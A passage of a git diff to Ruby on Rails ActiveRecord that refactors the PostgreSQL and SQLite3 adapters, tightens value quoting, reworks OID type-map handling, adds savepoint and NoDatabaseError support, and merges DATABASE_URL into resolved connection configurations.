         NAMES = Hash.new { |h,k| # :nodoc:
           h[k] = OID::Identity.new
         }
 
-        # Register an OID type named +name+ with a typcasting object in
+        # Register an OID type named +name+ with a typecasting object in
         # +type+.  +name+ should correspond to the `typname` column in
         # the `pg_type` table.
         def self.register_type(name, type)
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
index e9daa5d..880d0ee 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb
@@ -23,7 +23,8 @@ module ActiveRecord
           case value
           when Range
             if /range$/ =~ sql_type
-              "'#{PostgreSQLColumn.range_to_string(value)}'::#{sql_type}"
+              escaped = quote_string(PostgreSQLColumn.range_to_string(value))
+              "'#{escaped}'::#{sql_type}"
             else
               super
             end
@@ -70,8 +71,8 @@ module ActiveRecord
             when 'xml'   then "xml '#{quote_string(value)}'"
             when /^bit/
               case value
-              when /^[01]*$/      then "B'#{value}'" # Bit-string notation
-              when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
+              when /\A[01]*\Z/      then "B'#{value}'" # Bit-string notation
+              when /\A[0-9A-F]*\Z/i then "X'#{value}'" # Hexadecimal notation
               end
             else
               super
@@ -86,8 +87,11 @@ module ActiveRecord
 
           case value
           when Range
-            return super(value, column) unless /range$/ =~ column.sql_type
-            PostgreSQLColumn.range_to_string(value)
+            if /range$/ =~ column.sql_type
+              PostgreSQLColumn.range_to_string(value)
+            else
+              super(value, column)
+            end
           when NilClass
             if column.array && array_member
               'NULL'
@@ -101,21 +105,33 @@ module ActiveRecord
             when 'point' then PostgreSQLColumn.point_to_string(value)
             when 'json' then PostgreSQLColumn.json_to_string(value)
             else
-              return super(value, column) unless column.array
-              PostgreSQLColumn.array_to_string(value, column, self)
+              if column.array
+                PostgreSQLColumn.array_to_string(value, column, self)
+              else
+                super(value, column)
+              end
             end
           when String
-            return super(value, column) unless 'bytea' == column.sql_type
-            { :value => value, :format => 1 }
+            if 'bytea' == column.sql_type
+              # Return a bind param hash with format as binary.
+              # See http://deveiate.org/code/pg/PGconn.html#method-i-exec_prepared-doc
+              # for more information
+              { value: value, format: 1 }
+            else
+              super(value, column)
+            end
           when Hash
             case column.sql_type
-            when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
+            when 'hstore' then PostgreSQLColumn.hstore_to_string(value, array_member)
             when 'json' then PostgreSQLColumn.json_to_string(value)
             else super(value, column)
             end
           when IPAddr
-            return super(value, column) unless ['inet','cidr'].include? column.sql_type
-            PostgreSQLColumn.cidr_to_string(value)
+            if %w(inet cidr).include? column.sql_type
+              PostgreSQLColumn.cidr_to_string(value)
+            else
+              super(value, column)
+            end
           else
             super(value, column)
           end
@@ -167,6 +183,15 @@ module ActiveRecord
           end
           result
         end
+
+        # Does not quote function default values for UUID columns
+        def quote_default_value(value, column) #:nodoc:
+          if column.type == :uuid && value =~ /\(\)/
+            value
+          else
+            quote(value, column)
+          end
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index 0e4f55d..1abec2a 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -12,7 +12,7 @@ module ActiveRecord
 
         def visit_ColumnDefinition(o)
           sql = super
-          if o.primary_key? && o.type == :uuid
+          if o.primary_key? && o.type != :primary_key
             sql << " PRIMARY KEY "
             add_column_options!(sql, column_options(o))
           end
@@ -46,7 +46,7 @@ module ActiveRecord
         end
 
         # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
-        # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+        # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
         # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
         # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
         #
@@ -126,6 +126,19 @@ module ActiveRecord
           SQL
         end
 
+        def index_name_exists?(table_name, index_name, default)
+          exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+            SELECT COUNT(*)
+            FROM pg_class t
+            INNER JOIN pg_index d ON t.oid = d.indrelid
+            INNER JOIN pg_class i ON d.indexrelid = i.oid
+            WHERE i.relkind = 'i'
+              AND i.relname = '#{index_name}'
+              AND t.relname = '#{table_name}'
+              AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+          SQL
+        end
+
         # Returns an array of indexes for the given table.
         def indexes(table_name, name = nil)
            result = query(<<-SQL, 'SCHEMA')
@@ -172,13 +185,15 @@ module ActiveRecord
         def columns(table_name)
           # Limit, precision, and scale are all handled by the superclass.
           column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
-            oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
-              OID::Identity.new
-            }
+            oid = get_oid_type(oid.to_i, fmod.to_i, column_name)
             PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
           end
         end
 
+        def column_for(table_name, column_name) #:nodoc:
+          columns(table_name).detect { |c| c.name == column_name.to_s }
+        end
+
         # Returns the current database name.
         def current_database
           query('select current_database()', 'SCHEMA')[0][0]
@@ -395,13 +410,16 @@ module ActiveRecord
         # Changes the default value of a table column.
         def change_column_default(table_name, column_name, default)
           clear_cache!
-          execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+          column = column_for(table_name, column_name)
+
+          execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote_default_value(default, column)}" if column
         end
 
         def change_column_null(table_name, column_name, null, default = nil)
           clear_cache!
           unless null || default.nil?
-            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+            column = column_for(table_name, column_name)
+            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_value(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
           end
           execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
         end
@@ -471,7 +489,7 @@ module ActiveRecord
         # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
         # requires that the ORDER BY include the distinct column.
         def columns_for_distinct(columns, orders) #:nodoc:
-          order_columns = orders.map{ |s|
+          order_columns = orders.reject(&:blank?).map{ |s|
               # Convert Arel node to string
               s = s.to_sql unless s.is_a?(String)
               # Remove any ASC/DESC modifiers
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index d8a5e88..b64d6da 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -20,8 +20,8 @@ module ActiveRecord
     VALID_CONN_PARAMS = [:host, :hostaddr, :port, :dbname, :user, :password, :connect_timeout,
                          :client_encoding, :options, :application_name, :fallback_application_name,
                          :keepalives, :keepalives_idle, :keepalives_interval, :keepalives_count,
-                         :tty, :sslmode, :requiressl, :sslcert, :sslkey, :sslrootcert, :sslcrl,
-                         :requirepeer, :krbsrvname, :gsslib, :service]
+                         :tty, :sslmode, :requiressl, :sslcompression, :sslcert, :sslkey,
+                         :sslrootcert, :sslcrl, :requirepeer, :krbsrvname, :gsslib, :service]
 
     # Establishes a connection to the database that's used by all Active Record objects
     def postgresql_connection(config)
@@ -46,7 +46,7 @@ module ActiveRecord
     # PostgreSQL-specific extensions to column definitions in a table.
     class PostgreSQLColumn < Column #:nodoc:
       attr_accessor :array
-      # Instantiates a new PostgreSQL column definition in a table.
+
       def initialize(name, default, oid_type, sql_type = nil, null = true)
         @oid_type = oid_type
         default_value     = self.class.extract_value_from_default(default)
@@ -62,6 +62,14 @@ module ActiveRecord
         @default_function = default if has_default_function?(default_value, default)
       end
 
+      def number?
+        !array && super
+      end
+
+      def text?
+        !array && super
+      end
+
       # :stopdoc:
       class << self
         include ConnectionAdapters::PostgreSQLColumn::Cast
@@ -88,7 +96,7 @@ module ActiveRecord
             $1
           # Character types
           when /\A\(?'(.*)'::.*\b(?:character varying|bpchar|text)\z/m
-            $1
+            $1.gsub(/''/, "'")
           # Binary data types
           when /\A'(.*)'::bytea\z/m
             $1
@@ -133,6 +141,14 @@ module ActiveRecord
         end
       end
 
+      def type_cast_for_write(value)
+        if @oid_type.respond_to?(:type_cast_for_write)
+          @oid_type.type_cast_for_write(value)
+        else
+          super
+        end
+      end
+
       def type_cast(value)
         return if value.nil?
         return super if encoded?
@@ -140,6 +156,10 @@ module ActiveRecord
         @oid_type.type_cast value
       end
 
+      def accessor
+        @oid_type.accessor
+      end
+
       private
 
         def has_default_function?(default_value, default)
@@ -348,10 +368,10 @@ module ActiveRecord
         #   end
         #
         # By default, this will use the +uuid_generate_v4()+ function from the
-        # +uuid-ossp+ extension, which MUST be enabled on your databse.  To enable
+        # +uuid-ossp+ extension, which MUST be enabled on your database. To enable
         # the +uuid-ossp+ extension, you can use the +enable_extension+ method in your
-        # migrations To use a UUID primary key without +uuid-ossp+ enabled, you can
-        # set the +:default+ option to nil:
+        # migrations. To use a UUID primary key without +uuid-ossp+ enabled, you can
+        # set the +:default+ option to +nil+:
         #
         #   create_table :stuffs, id: false do |t|
         #     t.primary_key :id, :uuid, default: nil
@@ -362,11 +382,10 @@ module ActiveRecord
         # You may also pass a different UUID generation function from +uuid-ossp+
         # or another library.
         #
-        # Note that setting the UUID primary key default value to +nil+
-        # will require you to assure that you always provide a UUID value
-        # before saving a record (as primary keys cannot be nil).  This might be
-        # done via the SecureRandom.uuid method and a +before_save+ callback,
-        # for instance.
+        # Note that setting the UUID primary key default value to +nil+ will
+        # require you to assure that you always provide a UUID value before saving
+        # a record (as primary keys cannot be +nil+). This might be done via the
+        # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
         def primary_key(name, type = :primary_key, options = {})
           return super unless type == :uuid
           options[:default] = options.fetch(:default, 'uuid_generate_v4()')
@@ -429,6 +448,7 @@ module ActiveRecord
       include ReferentialIntegrity
       include SchemaStatements
       include DatabaseStatements
+      include Savepoints
 
       # Returns 'PostgreSQL' as adapter name for identification purposes.
       def adapter_name
@@ -553,7 +573,8 @@ module ActiveRecord
           raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
         end
 
-        initialize_type_map
+        @type_map = OID::TypeMap.new
+        initialize_type_map(type_map)
         @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
         @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
       end
@@ -565,11 +586,16 @@ module ActiveRecord
 
       # Is this connection alive and ready for queries?
       def active?
-        @connection.connect_poll != PG::PGRES_POLLING_FAILED
+        @connection.query 'SELECT 1'
+        true
       rescue PGError
         false
       end
 
+      def active_threadsafe?
+        @connection.connect_poll != PG::PGRES_POLLING_FAILED
+      end
+
       # Close then reopen the connection.
       def reconnect!
         super
@@ -619,12 +645,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true, since this connection adapter supports savepoints.
-      def supports_savepoints?
-        true
-      end
-
-      # Returns true.
       def supports_explain?
         true
       end
@@ -706,6 +726,10 @@ module ActiveRecord
         !native_database_types[type].nil?
       end
 
+      def update_table_definition(table_name, base) #:nodoc:
+        Table.new(table_name, base)
+      end
+
       protected
 
         # Returns the version of the connected PostgreSQL server.
@@ -732,65 +756,92 @@ module ActiveRecord
 
       private
 
+        def type_map
+          @type_map
+        end
+
+        def get_oid_type(oid, fmod, column_name)
+          type_map.fetch(oid, fmod) {
+            warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+            type_map[oid] = OID::Identity.new
+          }
+        end
+
         def reload_type_map
-          OID::TYPE_MAP.clear
-          initialize_type_map
+          type_map.clear
+          initialize_type_map(type_map)
+        end
+
+        def add_oid(row, records_by_oid, type_map)
+          return type_map if type_map.key? row['type_elem'].to_i
+
+          if OID.registered_type? row['typname']
+            # this composite type is explicitly registered
+            vector = OID::NAMES[row['typname']]
+          else
+            # use the default for composite types
+            unless type_map.key? row['typelem'].to_i
+              add_oid records_by_oid[row['typelem']], records_by_oid, type_map
+            end
+
+            vector = OID::Vector.new row['typdelim'], type_map[row['typelem'].to_i]
+          end
+
+          type_map[row['oid'].to_i] = vector
+          type_map
         end
 
-        def initialize_type_map
+        def initialize_type_map(type_map)
           result = execute('SELECT oid, typname, typelem, typdelim, typinput FROM pg_type', 'SCHEMA')
           leaves, nodes = result.partition { |row| row['typelem'] == '0' }
 
           # populate the leaf nodes
           leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
-            OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+            type_map[row['oid'].to_i] = OID::NAMES[row['typname']]
           end
 
+          records_by_oid = result.group_by { |row| row['oid'] }
+
           arrays, nodes = nodes.partition { |row| row['typinput'] == 'array_in' }
 
           # populate composite types
-          nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
-            if OID.registered_type? row['typname']
-              # this composite type is explicitly registered
-              vector = OID::NAMES[row['typname']]
-            else
-              # use the default for composite types
-              vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
-            end
-
-            OID::TYPE_MAP[row['oid'].to_i] = vector
+          nodes.each do |row|
+            add_oid row, records_by_oid, type_map
           end
 
           # populate array types
-          arrays.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
-            array = OID::Array.new  OID::TYPE_MAP[row['typelem'].to_i]
-            OID::TYPE_MAP[row['oid'].to_i] = array
+          arrays.find_all { |row| type_map.key? row['typelem'].to_i }.each do |row|
+            array = OID::Array.new  type_map[row['typelem'].to_i]
+            type_map[row['oid'].to_i] = array
           end
         end
 
-        FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+        FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
 
-        def exec_no_cache(sql, binds)
-          @connection.async_exec(sql)
+        def exec_no_cache(sql, name, binds)
+          log(sql, name, binds) { @connection.async_exec(sql, []) }
         end
 
-        def exec_cache(sql, binds)
-          stmt_key = prepare_statement sql
+        def exec_cache(sql, name, binds)
+          stmt_key = prepare_statement(sql)
+          type_casted_binds = binds.map { |col, val|
+            [col, type_cast(val, col)]
+          }
+
+          log(sql, name, type_casted_binds, stmt_key) do
+            @connection.send_query_prepared(stmt_key, type_casted_binds.map { |_, val| val })
+            @connection.block
+            @connection.get_last_result
+          end
+        rescue ActiveRecord::StatementInvalid => e
+          pgerror = e.original_exception
 
-          # Clear the queue
-          @connection.get_last_result
-          @connection.send_query_prepared(stmt_key, binds.map { |col, val|
-            type_cast(val, col)
-          })
-          @connection.block
-          @connection.get_last_result
-        rescue PGError => e
           # Get the PG code for the failure.  Annoyingly, the code for
           # prepared statements whose return value may have changed is
           # FEATURE_NOT_SUPPORTED.  Check here for more details:
           # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
           begin
-            code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+            code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
           rescue
             raise e
           end
@@ -814,7 +865,13 @@ module ActiveRecord
           sql_key = sql_key(sql)
           unless @statements.key? sql_key
             nextkey = @statements.next_key
-            @connection.prepare nextkey, sql
+            begin
+              @connection.prepare nextkey, sql
+            rescue => e
+              raise translate_exception_class(e, sql)
+            end
+            # Clear the queue
+            @connection.get_last_result
             @statements[sql_key] = nextkey
           end
           @statements[sql_key]
@@ -836,6 +893,12 @@ module ActiveRecord
           PostgreSQLColumn.money_precision = (postgresql_version >= 80300) ? 19 : 10
 
           configure_connection
+        rescue ::PG::Error => error
+          if error.message.include?("does not exist")
+            raise ActiveRecord::NoDatabaseError.new(error.message)
+          else
+            raise error
+          end
         end
 
         # Configures the encoding, verbosity, schema search path, and time zone of the connection.
@@ -891,14 +954,6 @@ module ActiveRecord
           exec_query(sql, name, binds)
         end
 
-        def select_raw(sql, name = nil)
-          res = execute(sql, name)
-          results = result_as_array(res)
-          fields = res.fields
-          res.clear
-          return fields, results
-        end
-
         # Returns the list of a table's column names, data types, and default values.
         #
         # The underlying query is roughly:
@@ -940,16 +995,12 @@ module ActiveRecord
         end
 
         def extract_table_ref_from_insert_sql(sql)
-          sql[/into\s+([^\(]*).*values\s*\(/i]
+          sql[/into\s+([^\(]*).*values\s*\(/im]
           $1.strip if $1
         end
 
-        def create_table_definition(name, temporary, options)
-          TableDefinition.new native_database_types, name, temporary, options
-        end
-
-        def update_table_definition(table_name, base)
-          Table.new(table_name, base)
+        def create_table_definition(name, temporary, options, as = nil)
+          TableDefinition.new native_database_types, name, temporary, options, as
         end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
index 1d7a22e..e5c9f6f 100644
--- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -1,4 +1,3 @@
-require 'active_support/deprecation/reporting'
 
 module ActiveRecord
   module ConnectionAdapters
@@ -16,13 +15,8 @@ module ActiveRecord
         prepare_default_proc
       end
 
-      def primary_keys(table_name = nil)
-        if table_name
-          @primary_keys[table_name]
-        else
-          ActiveSupport::Deprecation.warn('call primary_keys with a table name!')
-          @primary_keys.dup
-        end
+      def primary_keys(table_name)
+        @primary_keys[table_name]
       end
 
       # A cached lookup for table existence.
@@ -41,34 +35,19 @@ module ActiveRecord
         end
       end
 
-      def tables(name = nil)
-        if name
-          @tables[name]
-        else
-          ActiveSupport::Deprecation.warn('call tables with a name!')
-          @tables.dup
-        end
+      def tables(name)
+        @tables[name]
       end
 
       # Get the columns for a table
-      def columns(table = nil)
-        if table
-          @columns[table]
-        else
-          ActiveSupport::Deprecation.warn('call columns with a table name!')
-          @columns.dup
-        end
+      def columns(table)
+        @columns[table]
       end
 
       # Get the columns for a table as a hash, key is the column name
       # value is the column object.
-      def columns_hash(table = nil)
-        if table
-          @columns_hash[table]
-        else
-          ActiveSupport::Deprecation.warn('call columns_hash with a table name!')
-          @columns_hash.dup
-        end
+      def columns_hash(table)
+        @columns_hash[table]
       end
 
       # Clears out internal caches
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 140dd55..15ef84b 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -31,6 +31,12 @@ module ActiveRecord
       db.busy_timeout(ConnectionAdapters::SQLite3Adapter.type_cast_config_to_integer(config[:timeout])) if config[:timeout]
 
       ConnectionAdapters::SQLite3Adapter.new(db, logger, config)
+    rescue Errno::ENOENT => error
+      if error.message.include?("No such file or directory")
+        raise ActiveRecord::NoDatabaseError.new(error.message)
+      else
+        raise error
+      end
     end
   end
 
@@ -53,6 +59,23 @@ module ActiveRecord
     #
     # * <tt>:database</tt> - Path to the database file.
     class SQLite3Adapter < AbstractAdapter
+      include Savepoints
+
+      NATIVE_DATABASE_TYPES = {
+        primary_key:  'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL',
+        string:       { name: "varchar", limit: 255 },
+        text:         { name: "text" },
+        integer:      { name: "integer" },
+        float:        { name: "float" },
+        decimal:      { name: "decimal" },
+        datetime:     { name: "datetime" },
+        timestamp:    { name: "datetime" },
+        time:         { name: "time" },
+        date:         { name: "date" },
+        binary:       { name: "blob" },
+        boolean:      { name: "boolean" }
+      }
+
       class Version
         include Comparable
 
@@ -124,14 +147,16 @@ module ActiveRecord
         'SQLite'
       end
 
-      # Returns true
       def supports_ddl_transactions?
         true
       end
 
-      # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
       def supports_savepoints?
-        sqlite_version >= '3.6.8'
+        true
+      end
+
+      def supports_partial_index?
+        sqlite_version >= '3.8.0'
       end
 
       # Returns true, since this connection adapter supports prepared statement
@@ -145,7 +170,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true.
       def supports_primary_key? #:nodoc:
         true
       end
@@ -154,7 +178,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true
       def supports_add_column?
         true
       end
@@ -176,16 +199,6 @@ module ActiveRecord
         @statements.clear
       end
 
-      # Returns true
-      def supports_count_distinct? #:nodoc:
-        true
-      end
-
-      # Returns true
-      def supports_autoincrement? #:nodoc:
-        true
-      end
-
       def supports_index_sort_order?
         true
       end
@@ -198,20 +211,7 @@ module ActiveRecord
       end
 
       def native_database_types #:nodoc:
-        {
-          :primary_key => default_primary_key_type,
-          :string      => { :name => "varchar", :limit => 255 },
-          :text        => { :name => "text" },
-          :integer     => { :name => "integer" },
-          :float       => { :name => "float" },
-          :decimal     => { :name => "decimal" },
-          :datetime    => { :name => "datetime" },
-          :timestamp   => { :name => "datetime" },
-          :time        => { :name => "time" },
-          :date        => { :name => "date" },
-          :binary      => { :name => "blob" },
-          :boolean     => { :name => "boolean" }
-        }
+        NATIVE_DATABASE_TYPES
       end
 
       # Returns the current database encoding format as a string, eg: 'UTF-8'
@@ -219,7 +219,6 @@ module ActiveRecord
         @connection.encoding.to_s
       end
 
-      # Returns true.
       def supports_explain?
         true
       end
@@ -227,8 +226,8 @@ module ActiveRecord
       # QUOTING ==================================================
 
       def quote(value, column = nil)
-        if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
-          s = column.class.string_to_binary(value).unpack("H*")[0]
+        if value.kind_of?(String) && column && column.type == :binary
+          s = value.unpack("H*")[0]
           "x'#{s}'"
         else
           super
@@ -292,14 +291,20 @@ module ActiveRecord
       end
 
       def exec_query(sql, name = nil, binds = [])
-        log(sql, name, binds) do
+        type_casted_binds = binds.map { |col, val|
+          [col, type_cast(val, col)]
+        }
 
+        log(sql, name, type_casted_binds) do
           # Don't cache statements if they are not prepared
           if without_prepared_statement?(binds)
             stmt    = @connection.prepare(sql)
-            cols    = stmt.columns
-            records = stmt.to_a
-            stmt.close
+            begin
+              cols    = stmt.columns
+              records = stmt.to_a
+            ensure
+              stmt.close
+            end
             stmt = records
           else
             cache = @statements[sql] ||= {
@@ -308,9 +313,7 @@ module ActiveRecord
             stmt = cache[:stmt]
             cols = cache[:cols] ||= stmt.columns
             stmt.reset!
-            stmt.bind_params binds.map { |col, val|
-              type_cast(val, col)
-            }
+            stmt.bind_params type_casted_binds.map { |_, val| val }
           end
 
           ActiveRecord::Result.new(cols, stmt.to_a)
@@ -347,20 +350,8 @@ module ActiveRecord
       end
       alias :create :insert_sql
 
-      def select_rows(sql, name = nil)
-        exec_query(sql, name).rows
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
+      def select_rows(sql, name = nil, binds = [])
+        exec_query(sql, name, binds).rows
       end
 
       def begin_db_transaction #:nodoc:
@@ -413,13 +404,25 @@ module ActiveRecord
       # Returns an array of indexes for the given table.
       def indexes(table_name, name = nil) #:nodoc:
         exec_query("PRAGMA index_list(#{quote_table_name(table_name)})", 'SCHEMA').map do |row|
+          sql = <<-SQL
+            SELECT sql
+            FROM sqlite_master
+            WHERE name=#{quote(row['name'])} AND type='index'
+            UNION ALL
+            SELECT sql
+            FROM sqlite_temp_master
+            WHERE name=#{quote(row['name'])} AND type='index'
+          SQL
+          index_sql = exec_query(sql).first['sql']
+          match = /\sWHERE\s+(.+)$/i.match(index_sql)
+          where = match[1] if match
           IndexDefinition.new(
             table_name,
             row['name'],
             row['unique'] != 0,
             exec_query("PRAGMA index_info('#{row['name']}')", "SCHEMA").map { |col|
               col['name']
-            })
+            }, nil, nil, where)
         end
       end
 
@@ -606,17 +609,13 @@ module ActiveRecord
           @sqlite_version ||= SQLite3Adapter::Version.new(select_value('select sqlite_version(*)'))
         end
 
-        def default_primary_key_type
-          if supports_autoincrement?
-            'INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL'
-          else
-            'INTEGER PRIMARY KEY NOT NULL'
-          end
-        end
-
         def translate_exception(exception, message)
           case exception.message
-          when /column(s)? .* (is|are) not unique/
+          # SQLite 3.8.2 returns a newly formatted error message:
+          #   UNIQUE constraint failed: *table_name*.*column_name*
+          # Older versions of SQLite return:
+          #   column *column_name* is not unique
+          when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/
             RecordNotUnique.new(message, exception)
           else
             super
diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb
index a1943df..31e7390 100644
--- a/activerecord/lib/active_record/connection_handling.rb
+++ b/activerecord/lib/active_record/connection_handling.rb
@@ -1,5 +1,8 @@
 module ActiveRecord
   module ConnectionHandling
+    RAILS_ENV   = -> { Rails.env if defined?(Rails) }
+    DEFAULT_ENV = -> { RAILS_ENV.call || "default_env" }
+
     # Establishes the connection to the database. Accepts a hash as input where
     # the <tt>:adapter</tt> key must be specified with the name of a database adapter (in lower-case)
     # example for regular databases (MySQL, Postgresql, etc):
@@ -15,14 +18,14 @@ module ActiveRecord
     # Example for SQLite database:
     #
     #   ActiveRecord::Base.establish_connection(
-    #     adapter:  "sqlite",
+    #     adapter:  "sqlite3",
     #     database: "path/to/dbfile"
     #   )
     #
     # Also accepts keys as strings (for parsing from YAML for example):
     #
     #   ActiveRecord::Base.establish_connection(
-    #     "adapter"  => "sqlite",
+    #     "adapter"  => "sqlite3",
     #     "database" => "path/to/dbfile"
     #   )
     #
@@ -32,11 +35,19 @@ module ActiveRecord
     #     "postgres://myuser:mypass@localhost/somedatabase"
     #   )
     #
+    # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails
+    # automatically loads the contents of config/database.yml into it),
+    # a symbol can also be given as argument, representing a key in the
+    # configuration hash:
+    #
+    #   ActiveRecord::Base.establish_connection(:production)
+    #
     # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError
     # may be returned on an error.
-    def establish_connection(spec = ENV["DATABASE_URL"])
-      resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new spec, configurations
-      spec = resolver.spec
+    def establish_connection(spec = nil)
+      spec     ||= DEFAULT_ENV.call.to_sym
+      resolver =   ConnectionAdapters::ConnectionSpecification::Resolver.new configurations
+      spec     =   resolver.spec(spec)
 
       unless respond_to?(spec.adapter_method)
         raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
@@ -46,6 +57,29 @@ module ActiveRecord
       connection_handler.establish_connection self, spec
     end
 
+    class MergeAndResolveDefaultUrlConfig # :nodoc:
+      def initialize(raw_configurations)
+        @raw_config = raw_configurations.dup
+        @env = DEFAULT_ENV.call.to_s
+      end
+
+      # Returns fully resolved connection hashes.
+      # Merges connection information from `ENV['DATABASE_URL']` if available.
+      def resolve
+        ConnectionAdapters::ConnectionSpecification::Resolver.new(config).resolve_all
+      end
+
+      private
+        def config
+          @raw_config.dup.tap do |cfg|
+            if url = ENV['DATABASE_URL']
+              cfg[@env] ||= {}
+              cfg[@env]["url"] ||= url
+            end
+          end
+        end
+    end
+
     # Returns the connection currently associated with the class. This can
     # also be used to "borrow" the connection to do database work unrelated
     # to any of the specific Active Records.
diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb
index edaa28b..5cf6e7a 100644
--- a/activerecord/lib/active_record/core.rb
+++ b/activerecord/lib/active_record/core.rb
@@ -42,9 +42,16 @@ module ActiveRecord
       #         'database' => 'db/production.sqlite3'
       #      }
       #   }
-      mattr_accessor :configurations, instance_writer: false
+      def self.configurations=(config)
+        @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      end
       self.configurations = {}
 
+      # Returns fully resolved configurations hash
+      def self.configurations
+        @@configurations
+      end
+
       ##
       # :singleton-method:
       # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling
@@ -71,11 +78,20 @@ module ActiveRecord
 
       ##
       # :singleton-method:
-      # Disable implicit join references. This feature was deprecated with Rails 4.
-      # If you don't make use of implicit references but still see deprecation warnings
-      # you can disable the feature entirely. This will be the default with Rails 4.1.
-      mattr_accessor :disable_implicit_join_references, instance_writer: false
-      self.disable_implicit_join_references = false
+      # Specify whether schema dump should happen at the end of the
+      # db:migrate rake task. This is true by default, which is useful for the
+      # development environment. This should ideally be false in the production
+      # environment where dumping schema is rarely needed.
+      mattr_accessor :dump_schema_after_migration, instance_writer: false
+      self.dump_schema_after_migration = true
+
+      # :nodoc:
+      mattr_accessor :maintain_test_schema, instance_accessor: false
+
+      def self.disable_implicit_join_references=(value)
+        ActiveSupport::Deprecation.warn("Implicit join references were removed with Rails 4.1." \
+                                        "Make sure to remove this configuration because it does nothing.")
+      end
 
       class_attribute :default_connection_handler, instance_writer: false
 
@@ -94,12 +110,12 @@ module ActiveRecord
       def initialize_generated_modules
         super
 
-        generated_feature_methods
+        generated_association_methods
       end
 
-      def generated_feature_methods
-        @generated_feature_methods ||= begin
